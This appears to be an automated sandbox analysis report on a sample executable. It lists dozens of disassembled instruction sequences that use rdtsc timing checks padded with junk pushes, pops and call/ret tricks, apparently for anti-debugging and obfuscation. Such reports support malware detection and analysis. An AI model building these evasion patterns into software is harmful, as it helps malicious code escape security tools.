                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48184B second address: 481853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4819F0 second address: 4819F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481B0E second address: 481B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA955157A01h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481B2A second address: 481B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481B2E second address: 481B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481DF0 second address: 481DFB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481DFB second address: 481E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481E04 second address: 481E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703D6h 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481E1E second address: 481E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d js 00007FA9551579F6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481E31 second address: 481E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA954E703D4h 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481E56 second address: 481E5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481E5C second address: 481E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 47A484 second address: 47A4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA955157A06h 0x0000000b popad 0x0000000c jmp 00007FA9551579FDh 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 47A4AE second address: 47A4CB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA954E703D7h 0x00000008 jmp 00007FA954E703D1h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 47A4CB second address: 47A4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 44BFE4 second address: 44BFEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481FA2 second address: 481FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007FA9551579FAh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481FB4 second address: 481FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48282F second address: 482833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 482977 second address: 482985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FA954E703CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 482985 second address: 482989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 482989 second address: 48298F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48298F second address: 482999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA9551579F6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 482999 second address: 48299D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48299D second address: 4829A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4829A3 second address: 4829C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jg 00007FA954E703C6h 0x00000011 jmp 00007FA954E703CDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4829C3 second address: 4829D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA9551579FAh 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4829D2 second address: 4829DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA954E703C6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48709F second address: 4870BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FA955157A12h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 452CE0 second address: 452CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 452CE6 second address: 452CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 452CEC second address: 452CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 452CF5 second address: 452D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9551579FAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48BC37 second address: 48BC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48BC3B second address: 48BC45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FA9551579F6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48BC45 second address: 48BC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48F722 second address: 48F727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48F727 second address: 48F746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703D7h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48F88C second address: 48F890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48F890 second address: 48F894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48F894 second address: 48F8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FA955157A1Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48F8A3 second address: 48F8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48FB96 second address: 48FB9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48FB9C second address: 48FBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48FBA2 second address: 48FBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48FBA6 second address: 48FBAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48FBAA second address: 48FBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA9551579FEh 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4900CA second address: 4900D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 493E90 second address: 493E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 493E94 second address: 493E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 493E98 second address: 493E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 493F5B second address: 493F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 493F5F second address: 493F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jnp 00007FA9551579F8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 493F75 second address: 493F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4942B6 second address: 4942BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 494376 second address: 49437A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49437A second address: 49437E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49437E second address: 494384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4945D8 second address: 4945FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FA955157A0Ch 0x00000011 jmp 00007FA955157A06h 0x00000016 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4945FF second address: 494606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 494B5F second address: 494B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 494C52 second address: 494C5C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4950C6 second address: 4950CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4950CF second address: 4950D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4950D3 second address: 495120 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FA9551579F8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 movzx edi, ax 0x00000027 mov dword ptr [ebp+122D363Bh], edx 0x0000002d push ebx 0x0000002e push edi 0x0000002f jbe 00007FA9551579F6h 0x00000035 pop edi 0x00000036 pop esi 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FA9551579FEh 0x00000041 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 495120 second address: 495124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 495124 second address: 49512A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49512A second address: 49512F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4971FD second address: 497203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 497A4E second address: 497A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FA954E703C6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49889F second address: 4988A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 499401 second address: 49940B instructions: 0x00000000 rdtsc 0x00000002 je 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49940B second address: 4994BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FA955157A07h 0x00000010 pushad 0x00000011 jmp 00007FA955157A03h 0x00000016 jmp 00007FA9551579FEh 0x0000001b popad 0x0000001c popad 0x0000001d nop 0x0000001e mov di, F5F4h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007FA9551579F8h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push edi 0x00000043 call 00007FA9551579F8h 0x00000048 pop edi 0x00000049 mov dword ptr [esp+04h], edi 0x0000004d add dword ptr [esp+04h], 00000019h 0x00000055 inc edi 0x00000056 push edi 0x00000057 ret 0x00000058 pop edi 0x00000059 ret 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 jmp 00007FA955157A03h 0x00000065 popad 0x00000066 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49AA41 second address: 49AA45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49D555 second address: 49D55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49E65A second address: 49E65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49E65E second address: 49E66C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FA9551579F6h 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4510B7 second address: 4510BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4510BB second address: 4510DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FA9551579F6h 0x0000000e jmp 00007FA955157A04h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A0498 second address: 4A04AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FA954E703C8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4510DD second address: 4510E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A04AA second address: 4A04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A3857 second address: 4A385B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A385B second address: 4A385F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A385F second address: 4A3895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, di 0x0000000d push 00000000h 0x0000000f mov bh, cl 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 mov edi, dword ptr [ebp+122D3569h] 0x0000001a pop edi 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA955157A07h 0x00000024 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A2A10 second address: 4A2A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A2A2C second address: 4A2A4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FA9551579F6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A48A6 second address: 4A48AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A3A43 second address: 4A3A48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A49C4 second address: 4A49E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A6D16 second address: 4A6D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edi, dword ptr [ebp+122D31F5h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FA9551579F8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+1246DF2Ch] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FA9551579F8h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c mov edi, dword ptr [ebp+122D38A8h] 0x00000052 mov dword ptr [ebp+124427E8h], ecx 0x00000058 xchg eax, esi 0x00000059 jp 00007FA955157A07h 0x0000005f jnl 00007FA955157A01h 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A49E0 second address: 4A4A6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA954E703D2h 0x00000008 jne 00007FA954E703C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 jng 00007FA954E703CFh 0x00000018 pushad 0x00000019 mov edi, edx 0x0000001b mov ecx, 0AA010DAh 0x00000020 popad 0x00000021 push dword ptr fs:[00000000h] 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FA954E703C8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 and ebx, 0AC7CE3Eh 0x00000048 jnp 00007FA954E703CCh 0x0000004e mov dword ptr [ebp+122D2FA8h], esi 0x00000054 mov dword ptr fs:[00000000h], esp 0x0000005b mov edi, esi 0x0000005d mov eax, dword ptr [ebp+122D0A55h] 0x00000063 or dword ptr [ebp+122D2ACBh], eax 0x00000069 push FFFFFFFFh 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A6D95 second address: 4A6D9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A4A6F second address: 4A4A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A4A73 second address: 4A4A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A4A81 second address: 4A4A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
